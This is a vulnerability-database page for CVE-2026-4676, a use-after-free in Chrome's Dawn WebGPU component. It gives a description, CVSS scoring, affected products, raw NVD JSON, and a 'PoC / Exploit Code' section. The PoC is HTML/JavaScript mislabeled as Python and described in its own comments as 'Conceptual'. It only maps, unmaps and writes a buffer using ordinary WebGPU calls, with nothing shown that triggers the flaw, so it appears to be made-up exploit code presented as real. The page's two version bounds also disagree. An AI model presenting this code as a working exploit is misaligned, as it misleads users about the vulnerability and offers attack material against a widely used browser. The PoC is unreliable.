Security Vulnerability Report
中文
CVE-2026-4676 CVSS 8.8 HIGH

CVE-2026-4676

Published: 2026-03-24 01:17:03
Last Modified: 2026-03-24 16:50:03

Description

Use after free in Dawn in Google Chrome prior to 146.0.7680.165 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 146.0.7680.165

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-4676 (Conceptual) This script attempts to trigger a Use After Free in the Dawn (WebGPU) component. Note: Actual exploitation requires precise heap grooming and ROP chain setup. --> <!DOCTYPE html> <html> <head> <title>CVE-2026-4676 PoC</title> </head> <body> <script> async function triggerUAF() { if (!navigator.gpu) { console.log("WebGPU not supported."); return; } const adapter = await navigator.gpu.requestAdapter(); const device = await adapter.requestDevice(); console.log("[+] Creating buffer..."); // Create a buffer mapped at creation to simulate the vulnerable object const buffer = device.createBuffer({ mappedAtCreation: true, size: 1024, usage: GPUBufferUsage.MAP_READ | GPUBufferUsage.COPY_DST }); // Simulate the logic that leads to UAF // In a real scenario, specific Dawn API calls would corrupt the internal state const arrayBuffer = buffer.getMappedRange(); console.log("[+] Unmapping buffer to trigger free logic..."); buffer.unmap(); // The vulnerability lies here: trying to access or manipulate the buffer // after it has been freed or its state invalidated by subsequent GPU calls. try { // This operation attempts to use the freed/invalidated object device.queue.writeBuffer(buffer, 0, new Uint8Array(1024)); console.log("[-] Exploit failed: No crash detected."); } catch (e) { console.log("[!] Exception caught: " + e.message); } } triggerUAF(); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4676", "sourceIdentifier": "[email protected]", "published": "2026-03-24T01:17:03.217", "lastModified": "2026-03-24T16:50:03.117", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Dawn in Google Chrome prior to 146.0.7680.165 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)"}, {"lang": "es", "value": "Uso después de liberación en Dawn en Google Chrome anterior a 146.0.7680.165 permitió a un atacante remoto potencialmente realizar un escape de sandbox a través de una página HTML manipulada. (Gravedad de seguridad de Chromium: Alta)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "146.0.7680.164", "matchCriteriaId": "2570A6D2-95CF-4CB3-A7D1-8CC6532A05FA"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/03/stable-channel-update-for-desktop_23.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/488613135", "source": "[email protected]", "tags": ["Permissions Required"]}]}}